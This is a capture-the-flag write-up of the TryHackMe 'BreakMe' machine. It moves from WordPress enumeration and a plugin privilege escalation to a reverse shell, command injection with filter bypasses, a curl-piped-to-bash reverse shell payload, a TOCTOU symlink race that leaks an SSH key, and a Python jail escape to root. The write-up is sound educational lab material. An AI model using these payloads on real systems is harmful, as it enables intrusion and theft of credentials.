The following post by 0xb0b is licensed under CC BY 4.0
Recon
We start with an Nmap scan and find two open ports, 22 where SSH is running and 80 where an Apache web server is running.
We continue directly with a directory scan. For this we use Feroxbuster to recursively determine the directories. Here we see that we are dealing with a web server running WordPress.
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/breakme]└─$feroxbuster-u'http://breakme.thm'-w/usr/share/wordlists/dirb/big.txt___________________|__|__|__) |__) |/` / \ \_/||\|__||___|\|\|\__, \__// \ ||__/|___byBen "epi" Risher🤓ver:2.10.2───────────────────────────┬──────────────────────🎯TargetUrl│http://breakme.thm🚀Threads│50📖Wordlist│/usr/share/wordlists/dirb/big.txt👌StatusCodes│AllStatusCodes!💥Timeout (secs) │ 7🦡User-Agent│feroxbuster/2.10.2💉ConfigFile│/etc/feroxbuster/ferox-config.toml🔎ExtractLinks│true🏁HTTPmethods│ [GET]🔃RecursionDepth│4🎉NewVersionAvailable│https://github.com/epi052/feroxbuster/releases/latest───────────────────────────┴──────────────────────🏁Press [ENTER] to use the Scan Management Menu™──────────────────────────────────────────────────404 GET 9l 31w 273c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200GET24l126w10355chttp://breakme.thm/icons/openlogo-75.png200GET368l933w10701chttp://breakme.thm/301GET9l28w311chttp://breakme.thm/manual =>http://breakme.thm/manual/301GET9l28w314chttp://breakme.thm/manual/da =>http://breakme.thm/manual/da/301GET9l28w314chttp://breakme.thm/manual/en =>http://breakme.thm/manual/en/301GET9l28w314chttp://breakme.thm/manual/de =>http://breakme.thm/manual/de/301GET9l28w314chttp://breakme.thm/manual/fr =>http://breakme.thm/manual/fr/301GET9l28w314chttp://breakme.thm/manual/es =>http://breakme.thm/manual/es/301GET9l28w318chttp://breakme.thm/manual/images =>http://breakme.thm/manual/images/200GET1l6w86chttp://breakme.thm/manual/images/left.gif200GET1l7w2908chttp://breakme.thm/manual/images/favicon.ico200GET11l49w4550chttp://breakme.thm/manual/images/filter_arch.tr.png200GET68l318w10209chttp://breakme.thm/manual/images/sub.gif200GET8l29w2343chttp://breakme.thm/manual/images/mod_filter_new.tr.png200GET25l87w6358chttp://breakme.thm/manual/images/mod_rewrite_fig1.gif200GET6l58w2303chttp://breakme.thm/manual/images/home.gif200GET15l63w7395chttp://breakme.thm/manual/images/ssl_intro_fig3.gif200GET50l355w31098chttp://breakme.thm/manual/images/custom_errordocs.png200GET119l848w66818chttp://breakme.thm/manual/images/rewrite_backreferences.png200GET232l1134w97231chttp://breakme.thm/manual/images/syntax_rewriterule.png200GET408l2298w192916chttp://breakme.thm/manual/images/rewrite_process_uri.png200GET1227l7821w677704chttp://breakme.thm/manual/images/bal-man-w.png301GET9l28w314chttp://breakme.thm/manual/ja =>http://breakme.thm/manual/ja/301GET9l28w314chttp://breakme.thm/manual/ko =>http://breakme.thm/manual/ko/200GET2l4w79chttp://breakme.thm/manual/images/pixel.gif200GET18l118w6536chttp://breakme.thm/manual/images/feather.gif200GET10l34w2420chttp://breakme.thm/manual/images/mod_rewrite_fig2.png200GET25l72w4606chttp://breakme.thm/manual/images/ssl_intro_fig3.png200GET14l54w2412chttp://breakme.thm/manual/images/index.gif200GET77l325w24698chttp://breakme.thm/manual/images/caching_fig1.png200GET16l74w5983chttp://breakme.thm/manual/images/ssl_intro_fig1.png200GET23l143w7050chttp://breakme.thm/manual/images/apache_header.gif200GET146l919w71900chttp://breakme.thm/manual/images/build_a_mod_4.png200GET8l24w1868chttp://breakme.thm/manual/images/mod_filter_new.png200GET6l29w2168chttp://breakme.thm/manual/images/ssl_intro_fig2.png200GET105l493w29291chttp://breakme.thm/manual/images/caching_fig1.gif200GET173l1008w81048chttp://breakme.thm/manual/images/syntax_rewritecond.png200GET0l0w59chttp://breakme.thm/manual/images/right.gif200GET0l0w321860chttp://breakme.thm/manual/images/bal-man-b.png200GET0l0w96596chttp://breakme.thm/manual/images/SupportApache-small.png301 GET 9l 28w 324c http://breakme.thm/manual/da/developer => http://breakme.thm/manual/da/developer/
301GET9l28w318chttp://breakme.thm/manual/da/faq =>http://breakme.thm/manual/da/faq/301 GET 9l 28w 324c http://breakme.thm/manual/de/developer => http://breakme.thm/manual/de/developer/
301GET9l28w317chttp://breakme.thm/manual/pt-br =>http://breakme.thm/manual/pt-br/301 GET 9l 28w 324c http://breakme.thm/manual/en/developer => http://breakme.thm/manual/en/developer/
301GET9l28w320chttp://breakme.thm/manual/da/howto =>http://breakme.thm/manual/da/howto/301 GET 9l 28w 324c http://breakme.thm/manual/fr/developer => http://breakme.thm/manual/fr/developer/
301GET9l28w314chttp://breakme.thm/manual/ru =>http://breakme.thm/manual/ru/301GET9l28w318chttp://breakme.thm/manual/de/faq =>http://breakme.thm/manual/de/faq/301GET9l28w317chttp://breakme.thm/manual/style =>http://breakme.thm/manual/style/200GET92l345w2844chttp://breakme.thm/manual/style/modulesynopsis.dtd200GET24l130w925chttp://breakme.thm/manual/style/version.ent200GET29l147w1082chttp://breakme.thm/manual/style/manualpage.dtd200GET12l48w3533chttp://breakme.thm/manual/style/common.dtd.gz200GET42l190w1425chttp://breakme.thm/manual/style/sitemap.dtd200GET24l127w907chttp://breakme.thm/manual/style/lang.dtd200GET36l165w1247chttp://breakme.thm/manual/style/faq.dtd200GET27l66w481chttp://breakme.thm/manual/style/build.properties301 GET 9l 28w 324c http://breakme.thm/manual/es/developer => http://breakme.thm/manual/es/developer/
200GET27l146w915chttp://breakme.thm/manual/style/css/manual-chm.css200GET24l141w874chttp://breakme.thm/manual/style/css/manual-zip.css200GET121l625w3616chttp://breakme.thm/manual/style/css/prettify.css200GET23l141w885chttp://breakme.thm/manual/style/css/manual-zip-100pc.css200GET155l390w3065chttp://breakme.thm/manual/style/css/manual-loose-100pc.css200GET80l279w2582chttp://breakme.thm/manual/style/latex/atbeginend.sty200GET5l21w167chttp://breakme.thm/manual/style/scripts/MINIFY200GET717l1598w13200chttp://breakme.thm/manual/style/css/manual-print.css200GET1048l2315w19081chttp://breakme.thm/manual/style/css/manual.css301GET9l28w320chttp://breakme.thm/manual/de/howto =>http://breakme.thm/manual/de/howto/301GET9l28w318chttp://breakme.thm/manual/en/faq =>http://breakme.thm/manual/en/faq/200GET123l426w38692chttp://breakme.thm/manual/style/scripts/prettify.min.js301GET9l28w314chttp://breakme.thm/wordpress =>http://breakme.thm/wordpress/301GET9l28w318chttp://breakme.thm/manual/fr/faq =>http://breakme.thm/manual/fr/faq/301GET9l28w314chttp://breakme.thm/manual/tr =>http://breakme.thm/manual/tr/301GET9l28w319chttp://breakme.thm/manual/da/misc =>http://breakme.thm/manual/da/misc/301GET9l28w318chttp://breakme.thm/manual/da/mod =>http://breakme.thm/manual/da/mod/301 GET 9l 28w 324c http://breakme.thm/manual/ja/developer => http://breakme.thm/manual/ja/developer/
301 GET 9l 28w 324c http://breakme.thm/manual/ko/developer => http://breakme.thm/manual/ko/developer/
301GET9l28w320chttp://breakme.thm/manual/en/howto =>http://breakme.thm/manual/en/howto/301GET9l28w320chttp://breakme.thm/manual/fr/howto =>http://breakme.thm/manual/fr/howto/301GET9l28w318chttp://breakme.thm/manual/de/mod =>http://breakme.thm/manual/de/mod/301GET9l28w318chttp://breakme.thm/manual/es/mod =>http://breakme.thm/manual/es/mod/
Visiting the index page, we are just greeted with an Apache2 Debian default page.
We visit the Wordpress site and find a fairly simple blog.
http://breakme.thm/wordpress/
We seem to be in the right place with the welcome on http://breakme.thm/wordpress/index.php/breakme/.
Next, we use WPScan to get an overview of the WordPress application. We find that it is running version 6.4.3, which is vulnerable to user enumeration.
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/breakme]
└─$ wpscan --url http://breakme.thm/wordpress/
_______________________________________________________________
...
[+] WordPress version 6.4.3 identified (Insecure, released on 2024-01-30).
| Found By: Rss Generator (Passive Detection)
| - http://breakme.thm/wordpress/index.php/feed/, <generator>https://wordpress.org/?v=6.4.3</generator>
| - http://breakme.thm/wordpress/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.4.3</generator>
[+] WordPress theme in use: twentytwentyfour
| Location: http://breakme.thm/wordpress/wp-content/themes/twentytwentyfour/
| Last Updated: 2024-07-16T00:00:00.000Z
| Readme: http://breakme.thm/wordpress/wp-content/themes/twentytwentyfour/readme.txt
| [!] The version is out of date, the latest version is 1.2
| Style URL: http://breakme.thm/wordpress/wp-content/themes/twentytwentyfour/style.css
| Style Name: Twenty Twenty-Four
| Style URI: https://wordpress.org/themes/twentytwentyfour/
| Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
| Author: the WordPress team
| Author URI: https://wordpress.org
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 1.0 (80% confidence)
| Found By: Style (Passive Detection)
| - http://breakme.thm/wordpress/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.0'
Foothold
For the Foothold, we continue to focus on the WordPress page. We continue with our WPScans to get more useful information and uncover possible vulnerabilities.
WPScan Part I - Enum Credentials
First, we try to enumerate existing users. Here we determine the users bob and admin.
A link in the sample page http://breakme.thm/wordpress/index.php/sample-page takes us to the login window.
We use the found credentials and log in. We don't seem to be a privileged users; at least no admin dashboard seems to be visible here.
We are able to change our profile...
... and are able to make minor adjustments at the dashboard.
WPSan Part II - Further Enumeration (WPScan API Key)
It looks like we haven't discovered everything yet. Next we run another WPScan, this time with an API key. This can be obtained free of charge after registering on the next page of WPScan. This will allow us to get our results associated with CVEs.
We run the WPScan using the API key and discover an interesting finding that belongs to CVE-2023-1874, which is WP Data Access <= 5.3.7 - Authenticated (Subscriber+) Privilege Escalation.
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/breakme]
└─$ export WPSCAN_API_TOKEN=REDACTED
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/breakme]
└─$ wpscan --url http://breakme.thm/wordpress/
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.25
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://breakme.thm/wordpress/ [10.10.216.242]
[+] Started: Fri Sep 20 15:38:41 2024
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.56 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://breakme.thm/wordpress/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://breakme.thm/wordpress/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://breakme.thm/wordpress/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 6.4.3 identified (Insecure, released on 2024-01-30).
| Found By: Rss Generator (Passive Detection)
| - http://breakme.thm/wordpress/index.php/feed/, <generator>https://wordpress.org/?v=6.4.3</generator>
| - http://breakme.thm/wordpress/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.4.3</generator>
|
| [!] 4 vulnerabilities identified:
|
| [!] Title: WP < 6.5.2 - Unauthenticated Stored XSS
| Fixed in: 6.4.4
| References:
| - https://wpscan.com/vulnerability/1a5c5df1-57ee-4190-a336-b0266962078f
| - https://wordpress.org/news/2024/04/wordpress-6-5-2-maintenance-and-security-release/
|
| [!] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in HTML API
| Fixed in: 6.4.5
| References:
| - https://wpscan.com/vulnerability/2c63f136-4c1f-4093-9a8c-5e51f19eae28
| - https://wordpress.org/news/2024/06/wordpress-6-5-5/
|
| [!] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in Template-Part Block
| Fixed in: 6.4.5
| References:
| - https://wpscan.com/vulnerability/7c448f6d-4531-4757-bff0-be9e3220bbbb
| - https://wordpress.org/news/2024/06/wordpress-6-5-5/
|
| [!] Title: WordPress < 6.5.5 - Contributor+ Path Traversal in Template-Part Block
| Fixed in: 6.4.5
| References:
| - https://wpscan.com/vulnerability/36232787-754a-4234-83d6-6ded5e80251c
| - https://wordpress.org/news/2024/06/wordpress-6-5-5/
[+] WordPress theme in use: twentytwentyfour
| Location: http://breakme.thm/wordpress/wp-content/themes/twentytwentyfour/
| Last Updated: 2024-07-16T00:00:00.000Z
| Readme: http://breakme.thm/wordpress/wp-content/themes/twentytwentyfour/readme.txt
| [!] The version is out of date, the latest version is 1.2
| Style URL: http://breakme.thm/wordpress/wp-content/themes/twentytwentyfour/style.css
| Style Name: Twenty Twenty-Four
| Style URI: https://wordpress.org/themes/twentytwentyfour/
| Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
| Author: the WordPress team
| Author URI: https://wordpress.org
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 1.0 (80% confidence)
| Found By: Style (Passive Detection)
| - http://breakme.thm/wordpress/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.0'
[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] wp-data-access
| Location: http://breakme.thm/wordpress/wp-content/plugins/wp-data-access/
| Last Updated: 2024-09-18T00:01:00.000Z
| [!] The version is out of date, the latest version is 5.5.14
|
| Found By: Urls In Homepage (Passive Detection)
|
| [!] 3 vulnerabilities identified:
|
| [!] Title: WP Data Access < 5.3.8 - Subscriber+ Privilege Escalation
| Fixed in: 5.3.8
| References:
| - https://wpscan.com/vulnerability/7871b890-5172-40aa-88f2-a1b95e240ad4
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-1874
| - https://www.wordfence.com/blog/2023/04/privilege-escalation-vulnerability-patched-promptly-in-wp-data-access-wordpress-plugin/
|
| [!] Title: Freemius SDK < 2.5.10 - Reflected Cross-Site Scripting
| Fixed in: 5.3.11
| References:
| - https://wpscan.com/vulnerability/39d1f22f-ea34-4d94-9dc2-12661cf69d36
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33999
|
| [!] Title: WP Data Access < 5.5.9 - Cross-Site Request Forgery
| Fixed in: 5.5.9
| References:
| - https://wpscan.com/vulnerability/4fe0d330-6511-4500-ac3f-b9bb944b8f0e
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-43295
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/85a33508-71f2-4aa1-8d51-667eb0690fbd
|
| Version: 5.3.5 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://breakme.thm/wordpress/wp-content/plugins/wp-data-access/readme.txt
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:01 <==============================================================================================================> (137 / 137) 100.00% Time: 00:00:01
[i] No Config Backups Found.
[+] WPScan DB API OK
| Plan: free
| Requests Done (during the scan): 3
| Requests Remaining: 22
[+] Finished: Fri Sep 20 15:38:51 2024
[+] Requests Done: 144
[+] Cached Requests: 37
[+] Data Sent: 38.903 KB
[+] Data Received: 28.153 KB
[+] Memory used: 272.031 MB
[+] Elapsed time: 00:00:09
Expanding Privileges
We can find out more about the vulnerability in the following post:
In summary, by updating the profile, it is possible for us to overwrite the roles and thus extend our privileges. We achieve this by setting the wpda_role[] parameter in the update request.
The WP Data Access plugin for WordPress is vulnerable to privilege escalation in versions up to, and including, 5.3.7. This is due to a lack of authorization checks on the multiple_roles_update function. This makes it possible for authenticated attackers, with minimal permissions such as a subscriber, to modify their user role by supplying the ‘wpda_role[]‘ parameter during a profile update. This requires the ‘Enable role management’ setting to be enabled for the site.
So we update our profile first, and take the opportunity to correct the username 😄.
We submit the request and intercept it via Burp Suite. We must now add the following parameter, which is not already set.
&wpda_role[]=administrator
We give ourselves the administrator role. If we make a mistake with the parameter and enter it incorrectly, we are locked out, can no longer access the dashboard, and have to restart the machine.
We resolve the interception and are redirected to the admin dashboard after updating the profile. We are admin and can do everything. We are now not dependent on further vulnerabilities.
Reverse Shell
To obtain foothold, we take advantage of the privileges and create a reverse shell. We can use the following article from Hacktricks for this. We edit the page of a template and replace the content with a reverse shell. For this, we use revshells.com to generate a Pentest Monkey reverse shell according to our needs. We now keep this in the background and have set up a listener.
Here we first set the template to Twenty-Twenty One, because this has a PHP template for the 404 page. We select this and then replace everything with the reverse shell content.
We then update the page.
Now we only need to call up our edited page with the following URL:
But after our Linpeas scan we find access possibilities to files of another user john.
We find the first flag in his home directory, but have no access to it. We may have to get access to user john.
Internal Services
When enurering using www-data, we detect an internal service running on port 9999.
This seems to be another site, possibly an entry point to user john.
Before we continue, let's take a look at possible processes running in the background using Pspy. Here we see that the service is a web server running in the context of the user with the uid 1002.
This is our user john.
Shell As john
We now want to investigate the service on port 9999 further. To do this, we create a tunnel using Ligolo-ng to gain access to it.
Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS)
Unlike with CERTain doom, we do not want to have access to the available networks of the target. This time we just need access to a local internal port. For this, we set up a TUN (network tunnel) interface named "ligolo" and configuring routes to forward traffic for 240.0.0.1 through the tunnel.
[...] there's a "magic" CIDR hardcoded in Ligolo-ng: 240.0.0.0/4 (This is an unused IPv4 subnet). If you query an IP address on this subnet, Ligolo-ng will automatically redirect traffic to the agent's local IP address (127.0.0.1)
First, we set up a TUN (network tunnel) interface named "ligolo" and configuring routes to forward traffic for 240.0.0.1 through the tunnel.
┌──(0xb0b㉿kali)-[~]
└─$ sudo ip tuntap add user 0xb0b mode tun ligolo
[sudo] password for 0xb0b:
┌──(0xb0b㉿kali)-[~]
└─$ sudo ip link set ligolo up
┌──(0xb0b㉿kali)-[~]
└─$ sudo ip route add 240.0.0.1 dev ligolo
Next, we download the latest release of ligolo-ng. The proxy and the agent are in the amd64 version.
We receive a message on our ligolo-ng proxy that an agent has joined. We select the session using session and then start it.
We are now able to reach internal port 9999 via the address 240.0.0.1.
Service Investigation On 127.0.0.1:9999
Here we have a page with tools that include a check target, a check user and check file. This suggests that some kind of command injection could be possible.
If we enter our IP at Check Target, we find that a ping is actually executed. The input only allows the numerical representation of IP addresses.
Check user reflects the entries you have made. However, we cannot find a valid user, not even under the known john, bob or www-data.
The file check does not seem to find any files either. Special characters or numbers do not seem to be permitted here.
We enter a set of special characters in Check User and see that a small set is reflected. Not everything is removed. We also notice that the space character is removed.
!@#$%^&*()_+-={}[]|:;'"<>,.?/
We can already do something with the following set:
${}|:./
Command Injection - Possibilities (Unix)
Here is a small incomplete list of techniques that can be used for command injection that complement each other.
Bypass Space Filtering
%0a #newline
%09 #use tabs instead of spaces
%0a%09 #newline + tab
${IFS} #internal field seperator in unix
{ls,-la} #brace expansion to avoid using spaces
Chaining Commands
; #multiple commands to be executed sequentially
\n #newline
& #run a command in the background, allowing the shell to continue running other commands without waiting for the previous one to finish
&& #logical AND operator that executes the second command only if the first one succeeds
|| #logical OR operator that executes the second command only if the first one fails
| #pipe operator that passes the output of one command as input to another command
Subsituted Command
`` #(backticks) are used in Unix-like systems to execute a command and substitute its output into another command.
$() #more modern syntax for command substitution
Bypass Specific Character Filters
echo ${PATH:0:1} resolves to /
echo ${LS_COLORS:10:1} resolve to ;
Bypassing Blacklisted Commands
ba's'h use single quotes to bypass a simple filter
b"as"h use double quotes to bypass a simple filter
bas$@h
bas\h
$(tr "[A-Z]" "[a-z]"<<<"bAsH") case manipulation
$(rev<<<'hsab') reverse commands
With the character set of special characters that we determined earlier, we can try the following command injection. We use the ${IFS} variable to replace the space, pipe that ping command to the previous command as output.
|ping${IFS}10.8.211.1
We then capture the pings via tcpdump and see that our command injection was successful.
Next, we prepare a simple reverse shell payload. Since we can't use & we use curl to distribute our reverse shell and execute it in the same command.
payload.sh
/bin/bash -i >& /dev/tcp/10.8.211.1/4446 0>&1
Then we set up a Python web server to provide the payload.
We replace our ping with a curl command, to see if we can successfully request the payload.
|curl${IFS}http://10.8.211.1/payload.sh
The payload gets retrieved.
Now we set up a listener on port 4446 and adapt our command with a pipe to bash.
|curl${IFS}http://10.8.211.1/payload.sh|bash
Again we get a request.
And a connection back to our listener. We are user john and are able to get the first flag.
Shell As youcef
During our enumeration using Linpeas as user john, we realize that he has access to files of the user youcef in its home directory
In the home directory of youcef we find that we have access to other files, including readfile.
We want to take a closer look at the files and set up a python web server in the home directory to access these.
python -m http.server 9000
Reveerse Engineering
First, we decompile the binary readfile, as we do not have access to the readfile.c. Apparently we can read in files with this. The special thing is that this is a SUID binary, and we can read the files in the context of its owner, youcef. This gives us hope of obtaining the possible SSH key for the user youcef. However, if we want to read this with readfile, we only get a file not found. Furthermore, we cannot readfile.c and only get a Nice Try!
After decompiling, we can see why this is the case. There are checks to see if we are the user john, the uid is searched for. There are also checks for file names such as flag and id_rsa, if these are present, they cannot be read in, and then there is only the message Nice Try! In addition to the checks on file names, a check is made to see whether a symlink has been opened, in which case opening it also fails. It also fails if we, as the user john, do not have access to the file.
Logic:
Checks if the correct number of arguments (2) is passed. If not, it prints a usage message.
Verifies if the file provided in a1->field_8 exists (access).
Checks the user ID (getuid) to ensure it's 1002. If not, it prevents execution.
If the file contains "flag" or "id_rsa" or is a symbolic link, or if the file isn't readable, it prints "Nice try!" and exits.
If all checks pass, it opens the file, reads it in chunks, and writes the content to the standard output.
Uses strstr() to ensure the filename doesn't contain "flag" or "id_rsa".
Calls lstat() on the file to check its properties.
Verifies the file is not a symbolic link (S_IFLNK).
Exploitation
What we can now exploit is that the checks are made one after the other, sequentially. This makes the application susceptible to race conditions, the so-called TOCTOU, Time-Of-Check Time-Of-User vulnerability. Furthermore, we can find the following writeups on this topic, which explain this as an example and show how it can be exploited with a simple script.
TOCTOU, which stands for "Time of Check to Time of Use," is a class of race condition vulnerabilities in software systems. It occurs when a system checks a condition (like file permissions or existence) and then acts on that resource , but the resource changes state between the checks and the actions.
The idea is to create a script that creates a symlink to our desired destination, which we do not have, then replace that file with a file we own. This script is run infinity. So at some point of execution, we own the file, and at some point of execution, it's a symlink to our desired file. Eventually, running the script fits the conditions to read files we are not allowed to with a symlink. So the following attempt is the while lop running in background switching files, similar to one of the challenges of picoCTF:
while true; do ln -sf /home/youcef/.ssh/id_rsa flip; rm flip; touch flip; done &
If the command is executed in /tmp, a folder that does not belong to john, the attempt does not seem to work here, no content is leaked. Instead, this must be executed in john's home directory.
Next, we build a script that executes the application 20 times to read the RSA key from youcef in the hope of hitting the right conditions.
for i in {1..20}; do /home/youcef/./readfile flip; done
And we are successful and receive the RSA key from youcef.
We copy it and change the permissions accordingly to use it, but realize that the key file is encrypted.
We generate a hash from the key using ssh2john.
ssh2john id_rsa
With the help of the application john the ripper and the word list rockyout.txt, we can then crack the hash and get the password for the SSH key.
We use the key and are able to login as youcef. In the home directory of youcef we find the second flag.
Retrospective
In retrospective this program checks file access and user permissions before attempting to read a file. It denies access to files with flag or id_rsa in the name, symbolic links, or files that cannot be read. If the file passes all checks, it opens and reads the file contents.
A potential TOCTOU (Time of Check to Time of Use) vulnerability exists because the program checks the file's status and permissions with lstat and access, but doesn't immediately open the file afterward.
readfile.c
#include<stdio.h>#include<fcntl.h>#include<string.h>#include<unistd.h>#include<assert.h>#include<sys/stat.h>intmain(int argc,char**argv,char**envp) {int n;char buf[1024];struct stat lstat_buf;if (argc !=2) {puts("Usage: ./readfile <FILE>");return1; }elseif(access(argv[1],F_OK)){puts("File Not Found");return1; }elseif(getuid()!=1002){puts("You can't run this program");return1; }char*flag =strstr(argv[1],"flag");char*id_rsa =strstr(argv[1],"id_rsa");lstat(argv[1],&lstat_buf);int symlink_check = (S_ISLNK(lstat_buf.st_mode));int res=access(argv[1],R_OK);usleep(0.8);if (flag || symlink_check || res==-1|| id_rsa) {puts("Nice try!");return1; } else {puts("I guess you won!\n");int fd =open(argv[1],0);assert(fd >=0&&"Failed to open the file");while((n =read(fd, buf,1024)) >0&&write(1, buf, n)>0); }return0;}
Shell As root
When enumerating, we realize that we can execute as youcef /usr/bin/python3 /root/jail.py using sudo in the root context. A strong indicator that we can extend our privileges to root here. This is actually a category in CTF that I was not aware of, although I have solved similar ones before, python jail escapes. A number of writeups were used to find the solution, which showed a wide variety of possible solutions.
When executing the file, we see an interpreter context. However, this is very limited.
Examples of escaping can be found here, but do not apply here.
Below is the first resource that describes a working solution that can be used here. A bypass that uses Python Unicode Compatibility with a Unicode exec. This was successfully executed, although the normal exec was filtered:
The following source then offered the final solution. The call to Breakpoint in Unicode format. The breakpoint() function in Python is a built-in method introduced in Python 3.7 that acts as an entry point to Python's debugger, pdb. When executed, it pauses the program's execution and opens an interactive debugging session, allowing to inspect variables, control flow, and even modify values at runtime.
In the context of Python Jail escapes, which involve breaking out of restricted Python environments (often sandboxes), breakpoint() can be leveraged for interactive debugging, potentially providing access to internals of the sandbox, file system, or sensitive variables.
We issue the following version of breakpoint() in the restricted interpreter session:
𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵()
Now we are able to call import os;os.system("/bin/sh") without restrictions to spawn a shell as root. We are root, can freely access the system and find the final flag at /root/root.txt.
youcef@Breakme:~$ sudo /usr/bin/python3 /root/jail.py
Welcome to Python jail
Will you stay locked forever
Or will you BreakMe
>> 𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵()
--Return--
> <string>(1)<module>()->None
(Pdb) import os;os.system("/bin/sh")
# ls
readfile readfile.c
# cd /root
# ls -lah
total 52K
drwx------ 3 root root 4.0K Mar 21 2024 .
drwxr-xr-x 18 root root 4.0K Aug 17 2021 ..
lrwxrwxrwx 1 root root 9 Aug 3 2023 .bash_history -> /dev/null
-rw-r--r-- 1 root root 571 Apr 10 2021 .bashrc
-rwx------ 1 root root 5.4K Jul 31 2023 index.php
-rw-r--r-- 1 root root 4.9K Mar 21 2024 jail.py
-rw-r--r-- 1 root root 0 Mar 21 2024 .jail.py.swp
-rw------- 1 root root 33 Aug 3 2023 .lesshst
drwxr-xr-x 3 root root 4.0K Aug 17 2021 .local
-rw------- 1 root root 7.4K Feb 4 2024 .mysql_history
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
-rw------- 1 root root 33 Aug 3 2023 .root.txt
Don't miss Jaxafed's approach to building a payload to break out of Python jail, using function calls via builtins and dynamic attribute access, while explaining each step taken to bypass the various filters in place:
Shoutout to Str4ngerX and Celebrus for finding an unintended path to esalate privileges from www-data directly to root. They have located the vulnerability of Dirty Pipe.
Dirty Pipe is a Linux vulnerability that allows an unprivileged user to overwrite read-only files by exploiting flaws in the pipe buffer mechanism. It works by injecting malicious data into cached pages used by the kernel, bypassing normal file permissions. This can lead to privilege escalation, as an attacker can modify critical system files.
You can find out more about the exploit in the following resources:
The following steps show the enumeration and execution of the Dirty Pipe exploit. We need a reverse shell as www-data, the steps to obtain this are described at https://0xb0b.gitbook.io/writeups/tryhackme/2024/breakme#foothold. With a shell as www-data we run Linpeas or linux-exploit-suggester.
Let's take Linpeas' output as an example. We see no explicit mention that this exploit shows a guaranteed privilege escalation path. This is only indicated as probable in the script output. The same applies to the linux-exploit-suggester script.
With uname -a we get detailed information of the system like the kernel version and the Debian version.
The following resource provides a Drty Pipe exploit that allows us to create a root shell. And it states that kernel versions newer than 5.8 are affected. As well as that the vulnerability has been patched in the following Linux kernel versions: 5.16.11, 5.15.25, and 5.10.102. Therefore, the vulnerability is applicable in this case.
We clone the repository and compile the exploits statically on our machine because gcc is not available on the target and we want to avoid a conflict with a different libc on the system than ours.
We start with exploit-1.
But this fails.
Next we try exploit-2.
This works, the script requires a SUID binary as specified in the description. By specifying /usr/bin/sudo when runing our static exploit we get a root shell.